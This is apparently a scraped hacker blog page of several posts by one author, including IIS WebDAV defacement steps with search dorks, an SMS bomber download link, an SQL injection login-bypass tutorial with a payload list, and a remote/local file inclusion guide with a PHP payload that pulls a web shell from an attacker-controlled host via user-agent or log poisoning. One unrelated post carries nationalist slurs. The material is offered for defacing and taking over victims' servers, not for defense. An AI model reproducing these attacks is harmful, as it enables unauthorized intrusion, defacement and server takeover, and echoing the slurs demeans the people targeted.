WEBSITE HACKING METHOD – IIS EXPLOIT HACKING

By rUsTlEs xEr0

This Method only works on sites being hosted on Ms-IIS server. Now a days many boxes are patched so it will not work on them !!!






Steps for Xp User !




1- Click on START and click on RUN then enter the below code and then press Enter %WINDIR%\EXPLORER.EXE ,::{20D04FE0-3AEA-1069-A2D8-08002B30309D}\::{BDEADF00-C265-11d0-BCED-00A0C90AB50F}

2- A new window name “WEB FOLDER” gets open

3-Right click and click on New, Add Web Folder then enter your vulnerable website address

4- Click on Next , Next , Finish.

5- Double click on that folder to open it Now u can insert your deface page on that site by simply Copy &

Paste in that folder you deface page will be avaliable at www.site.com/your defacepagename.html Note-

Also after getting access to the website…Many websites don’t allows you to add/edit your deface page (

Because Microsoft has already fixed this vulnerability in many website ).

For windows 7 user

1- Click Start.

2- Click Computer.

3- In the following dialog click Map Network Drive.

4- On the Map Network Drive dialog, click “Connect to a Web site that you can use to store your documents and Pictures” this will pop up the “Welcome to the Add Network Location Wizard“.

 5- Click on Next.

 6 – Click on ”Choose a custom network location”.

 7- Click on Next.

8- Now type the web folder address that you want to access.

 9- Enter a NAME to help you identify the web folder and click Next.

10- Place a checkmark on ‘Open this network location when I click finish‘.

 11- Click Finish.

12- To open the web folder next time, just double click on the one you want to open from the My Network Places list. Note:- Remeber Some sites you might get an error while uploading xyz.html file that time just change the extension to xyz.htm and you can also deface some of the websites using Shell.

Dork- “Powered by IIS” or use your own unique dork.


or u can use these dorks



IIs Dorks...!!
intext:"404 Object Not Found" Microsoft-IIS/5.0
"Microsoft-IIS/* server at" intitle:index.of
"Microsoft-IIS/4.0" intitle:index.of
"Microsoft-IIS/5.0 server at"
intitle:"Welcome to IIS 4.0"
intitle:"Welcome to Windows 2000 Internet Services"


for secret info:


filetype:ini "Bootstrap.php" (pass|passwd|password|pwd)
filetype:php~ (pass|passwd|password|dbpass|db_pass|pwd)

[Read More...]

Sms Bomber

By rUsTlEs xEr0

Guyz here is a new sms bomber with the fast speed of bombing

so Enjoy and 

Click here to download

[Read More...]

Indian Helicopter Caught by Pakistan Army

By rUsTlEs xEr0

Pakistan Army tuje Salam

Bawasooq zarayee se pata chala hai k indian helicopter Pakistan ki hadood mien ludiaan paa raha tha aur pilot
muni badnaam hui song sun raha tha itne mien Pakistan Militry ne unko pakr ker badnaam ker diaa

well ye to ho gaye mazak+serious baad ab sochne ki baat ye hai k india ka helicopter pakistan ki hadood mien kia kar raha tha...

Point to b noted guys just give your comments and share your thoughts andddd sb mil k bolo

Gay hind he he he he he.......

And Pakistan Zindabad urra k rakh do indian ko...........

[Read More...]

Hack Facebook to display your message

By rUsTlEs xEr0

Now using this hack you can display a custom message on facebook and prank your friends that you have hacked this facebook page.
You can change the message and title whatever you want.

How to display your custom message and title on facebook:

1) open your browser
2) copy the bellow URL and paste in the address bar of web brower

https://www.facebook.com/connect/connect_to_node_error.php?title=MY TITLE&body=MY MESSAGE
3) Now change 'MY TITLE' with your title you want to display and 'MY MESSAGE' with your message and press enter 



NOWlet my  title is cyber security and message is hacked by cyber security  then the URL will become something like this: 
https://www.facebook.com/connect/connect_to_node_error.php?title=cyber security&body=hacked by cyber security
see this

enjoy and make your friends fool. 

[Read More...]

What is hacking ?

By rUsTlEs xEr0

Hacking is unauthorized use of computer and network resources.
The term "hacker" originally meant a very gifted programmer. In recent years though, with easier access to multiple systems, it now has negative implications.

We work with IBM Consulting and its customers to design and execute thorough evaluations of their computer and network security. Depending on the evaluation they request (ranging from Web server probes to all-out attacks), we gather as much information as we can about the target from publicly available sources. As we learn more about the target, its subsidiaries and network connectivity, we begin to probe for weaknesses. 

Examples of weaknesses include poor configuration of Web servers, poor web hosting, old or unpatched software, disabled security controls, and poorly chosen or default passwords. As we find and exploit vulnerabilities, we document if and how we gained access, as well as if anyone at the organization noticed. In nearly all the cases, the Information Syhstems department is not informed of these planned attacks. Then we work with the customer to address the issues we've discovered.

The number of hackers in the world is very small, but there are lots of wannabes. When we do an ethical hack, we could be holding the keys to that company once we gain access. It's too great a risk for our customers to be put in a compromising position.

[Read More...]

Hacking books

By rUsTlEs xEr0

Here i m sharing a four books of hacking which includes the certified ethical hacking , ethical hacking , computer security , and the cyberom clients guide books are avalable to download.

click here to download collection

[Read More...]

Google plus circles

By rUsTlEs xEr0

Many of my friends is asking me that what is google circle and what is google plus so i have posted this post.
"circles" groups your friends together

Google circles are group of  friends which you have organized by topics like friends, family , college , buddies , roommates , classmates.

how to use google circles
suppose you have 3 circles named family , classmates and friends
now if you want to add a person in family circle then you need to click on that person and just simply drage him/her into family circle at that time in green background one +1 is popup .
Now if you want to remove person from family and you want to add him/her into friends then find that person in family group and and simply click on it and drag it in friends circle. Then the person will deleted from family circle and it will be added in friends circle.

[Read More...]

How to hack website using sql injection

By rUsTlEs xEr0

what is sql injection?

SQL Injections or simply called Structured Query Language Injection is a technique that exploits the loop hole in the database layer of the application. This happens when user mistakenly or purposely(hackers) enters the special escape characters into the username password authentication form or in URL of the website. Its called the coding standard loop hole. some website owners doesn't have proper knowledge of secure coding standards and that results into the vulnerable websites. Now assume , you opened a website and went to his Sign in or log in page. Now in username field you have entered something say yogesh and in the password box you pass some escape characters like ',",1=1, etc... Now if the website owner hasn't handled null character strings or escape characters then user will surely get something else that owner never want their users to view.. This is basically called Blind SQL. 

Some basic requirements for sql injection:
1) you need a web browser to open URL and to view source codes.
2) you need notepad++.
3) and very basic  queries of sql like insert , select , update , delete etc.

First of all you can hack those website using SQL injection hacks that allows some input fields from the visitor which can provide input to website like log in page , search page, feedback page etc.
Now a days , HTML pages use POST command to send parameter to another ASP/ASPX page.
Therefore, you may not see the parameter in the URL. You can check the source code of the HTML, and look for "FROM" tag in the HTML code. You may find something like this in some HTML codes:

<F O R M action=login.aspx method=post>
<I N P UT type=hidden name=user v a l u e=xyz>
< / F O R M>


Everything between the < F O R M > and < / F O R M > parameters(remove space in words) contains the crucial information and can help us to determine things in more detailed way.

There is alternate method for finding vulnerable website, the websites which have extension ASP, ASPX, JSP, CGI or PHP try to look for the URL's in which parameters are passed. Example is shown below:

http://example.com/login.asp?id=10 

Now how to detect that this URL is vulnerable or not:

Start with single quote trick, take sample parameter as hi'or1=1--. Now in the above URL id is the parameter and 10 is its value. So when we pass hi'or1=1-- as parameter the URL will look like this:

http://example.com/login.asp?id=hi' or 1=1--

You can also do this with hidden field, for that you need to save the webpage and had to made changes to URL and parameters field and modify it accordingly. For example: 

< F O R M action=http://example.com/login. asp method=p o s t >
< i n p u t  type=hidden name=abc value="hi' or 1=1--">
< / F O R M >

 If your luck is favoring you, you will get the login into the website without any username or password.

                                 

But why ' or 1=1-- ?
Take an asp page that will link you to another page with the following URL:

http://example.com/search.asp?category=sports

In this URL 'category' is the variable name and 'sports' is it's value.

Here this request fires following query on the database in background.

SELECT * FROM TABLE-NAME WHERE category='sports'

Where 'TABLE-NAME' is the name of table which is already present in some database.
So, this query returns all the possible entries from table 'search' which comes under the category 'sports'.

Now, assume that we change the URL into something like this:

http://example.com/search.asp?category=sports' or 1=1--

Now, our variable 'category' equals to "sports' or 1=1-- ", which fires SQL query on database something like: SELECT * FROM search WHERE category='sports' or 1=1--'
 

The query should now select everything from the 'search' table regardless if category is equal to 'sports' or not.
A double dash "--" tell MS SQL server to ignore the rest of the query, which will get rid of the last hanging single quote (').
Sometimes, it may be possible to replace double dash with single hash "#".

However, if it is not an SQL server, or you simply cannot ignore the rest of the query, you also may try

' or 'a'='a

 
It should return the same result.
Depending on the actual SQL query, you may have to try some of these possibilities:' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
'or''='

[Read More...]

3 ways to upload a shell

By rUsTlEs xEr0

3 ways to upload a shell! 
Alright so I'm bored again and writing this nice tutorial for you guys.

NOTE: This tutorial is COMPLETELY written by me from my experience, therefore I won't give credit to anyone.

This tutorial contains:
-> RFI
-> LFI method 1
-> LFI method 2

First, I will start with the RFI method.

RFI or Remote File Inclusion is a technique which allows you to include a remote file(from a URL) to a webscript.

Let's say we have a website called
Code:
http://www.v1ct1mp4g31337.com/​index.php?include=register.php

Now take a look at the part after "index.php?", do you see that "include=register.php" ? This is exactly what we are looking for.

Now try to include google by typing in
Code:
http://www.v1ct1mp4g31337.com/​index.php?include=http%3A%2F%2​Fwww.google.com

Now, if it displays the google page, you are able to include remote files. If it gives an error message, jump to the LFI part of the tutorial now.

Well, let's just say it worked and it displays google. Now we are going to include a shell(you can get one here). Do this by typing this into your URL bar:
Code:
http://www.v1ct1mp4g31337.com/​index.php?include=http%3A%2F%2​Fwww.z0mgh4x0rpage.com%2Fmaste​rshell.txt

WARNING: Put your shell ALWAYS in TXT format on your website, otherwise people will be able to access it and F*** with your server!!

Alright thats it! Now your shell is included and you can rape the victims webserver.

Now we are going for LFI method 1

NOTE: You will need FireFox and its addon Tamper Data to do this method!

LFI or Local File Inclusion allows you to include a local file(which means, that the file is stored on the server) and run it in a webscript.

In this method we are going to upload a shell by accessing the proc/self/environ.

Now we have our page
Code:
http://www.v1ct1mp4g31337.com/​index.php?include=register.php

And now we are going to do this:
Code:
http://www.v1ct1mp4g31337.com/​index.php?include=..%2F

If it gives you an error message, this is good. Best thing that can happen is, it says "No such file or directory". But anyways, now add this to your url:
Code:
http://www.v1ct1mp4g31337.com/​index.php?include=..%2Fetc%2Fp​asswd

And as long as there is no text other than an error message on the page, keep adding "../" to the URL, so it would be like:
Code:
http://www.v1ct1mp4g31337.com/​index.php?include=..%2Fetc%2Fp​asswd
http://www.v1ct1mp4g31337.com/​index.php?include=..%2F..%2Fet​c%2Fpasswd
http://www.v1ct1mp4g31337.com/​index.php?include=..%2F..%2F..​%2Fetc%2Fpasswd

And so on. Now let's say we got to this URL
Code:
http://www.v1ct1mp4g31337.com/​index.php?include=..%2F..%2F..​%2Fetc%2Fpasswd

And we see some huge shitty text we can not handle with. Now change the etc/passwd in the URL to proc/self/environ so it would look like this:
Code:
http://www.v1ct1mp4g31337.com/​index.php?include=..%2F..%2F..​%2Fproc%2Fself%2Fenviron

If you see some text, you did good, if you see an error message you did bad. Now this is the point where we use Tamper Data. Start you Tamper and reload the page, and for user agent you type in the following PHP script:
PHP Code:
<?php $file = fopen("shell.php","w+"); $stream = fopen ("http://www.z0mgh4x0rpage.com/m​astershell.txt", "r"); while(!feof($stream)) {
$shell .=fgets($stream); } fwrite($file, $shell); fclose($file);?>

This will execute the PHP script on the site and create a shell.php on the server. Why? Because the user agent is being displayed on the webpage, and if you put in a webscript for that, it will execute it.

Now simply access your shell by going to
Code:
http://www.v1ct1mp4g31337.com/​shell.php

And rape the server.

Now LFI method 2

NOTE: This only works on apache servers!

Alright you get back to the point where we tried to access the etc/passwd. You will do the same method, but not with etc/passwd, you will try to get access to apache/logs/error.log

If you have a brain, you should know how to do that, since it's EXACTLY the same method as on etc/passwd (explained in LFI method 1).

Now when you have found the file, open up cmd and type in
Code:
telnet www.v1ct1mp4g31337.com 80

When you are inside the telnet, you copy the following code(you use your own shell url ofc)
PHP Code:
<?php $file = fopen("shell.php","w+"); $stream = fopen ("http://www.z0mgh4x0rpage.com/m​astershell.txt", "r"); while(!feof($stream)) {
$shell .=fgets($stream); } fwrite($file, $shell); fclose($file);?>

Paste it into the telnet window, and press enter once or maybe twice(until you get an error message).

Now refresh the page in the browser(error.log) once and there you go. The PHP script will be executed and your shell will get uploaded to the server. Access it by typing in the following into your browser:

Code:
http://www.v1ct1mp4g31337.com/​shell.php

[Read More...]